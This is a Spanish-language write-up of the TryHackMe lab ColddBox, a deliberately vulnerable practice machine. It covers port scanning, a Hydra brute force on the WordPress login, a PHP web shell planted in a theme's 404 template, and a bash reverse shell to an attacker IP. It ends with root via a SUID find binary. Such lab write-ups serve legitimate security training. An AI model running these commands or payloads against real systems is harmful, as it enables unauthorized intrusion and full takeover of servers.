Colddbox - TryHackMe

Can you get access and get both flags? Good Luck!.

Summary

  • IP: 10.10.125.23
  • Ports: 80, 4512
  • OS: Linux (Ubuntu)
  • Services & Applications:
    • 80 -> Apache httpd 2.4.18
    • 4512 -> OpenSSH 7.2p2 Ubuntu 4ubuntu2.10

Recon

  • Escaneo básico de puertos:
$nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.10.125.23 -oG allPorts
  • Escaneo profundo de puertos encontrados:
$nmap -p22,8080 -sCV 10.10.125.23 -oN targeted

Análisis de página web:

  • Abrimos la página, vemos una página de Wordpress; buscamos directorios, primero con nmap:
$nmap --script http-enum -p80 10.10.125.23 -oN webScan
  • Encontramos un archivo “wp-login.php”, ingresamos y encontramos el login principal de Wordpress.

  • Existe otro directorio “/hidden” en el cual podemos enumerar posibles usuarios: c0ldd,hugo.

Fuerza bruta con Hydra:

  • Hacemos un ataque de fuerza bruta con Hydra para intentar obtener la contraseña de los usuarios encontrados, para esto, primero probamos ingresar en el login con el usuario “c0ldd” y vemos que nos arroja el mensaje “The password you entered for the username c0ldd is incorrect”, esto quiere decir que el usuario “c0ldd” es un usuario válido; interceptamos la petición con Burpsuite para extraer la información necesaria para el ataque:

  • Vemos que se trata de una petición por POST y las credenciales se especifican en la siguiente linea:

log=c0ldd&pwd=test&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1
  • Con esta información, procedemos a realiza el ataque con Hydra:
$hydra -l c0ldd -P /usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt 10.10.20.135 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1:The password you entered for the username" -t 30
  • Obtenemos la credencial para el usuario “c0ldd”, con esto accedemos en el login de Wordpress.

Explotación básica de WordPress (RCE):

  • Ya autenticado, vamos a la pestaña de “appeareance” y clickeamos en “editor” .

  • Escogemos una plantilla cualquiera, en este caso “Twenty Thirteen” y escogemos la template del recurso “404”.

  • Editamos poniéndole código PHP que nos permita ejecutar comandos de forma remota mediante el parámetro “cmd”:

<?php echo passthru($_GET["cmd"]); ?>
  • Guardamos el recurso y accedemos a él siguiente el link:
http://10.10.20.135/wp-content/themes/twentythirteen/404.php?cmd=whoami
  • Confirmamos el RCE y entablamos una reverse shell básica:
http://10.10.20.135/wp-content/themes/twentythirteen/404.php?cmd=bash -c "bash -i >%26 /dev/tcp/10.18.101.123/443 0>%261"
  • Accedemos como el usuario “www-data”

ESCALANDO PRIVILEGIOS:

  • Buscamos permisos SUID
$find / -perm -4000 2>/dev/null
  • Vemos que el binario “find” se puede ejecutar como el propietario “root” de forma temporal, buscamos en “gtfobins” una forma de explotar este binario y encontramos el siguiente comando.
./find . -exec /bin/sh -p \; -quit
  • Lo ejecutamos y seremos ROOT.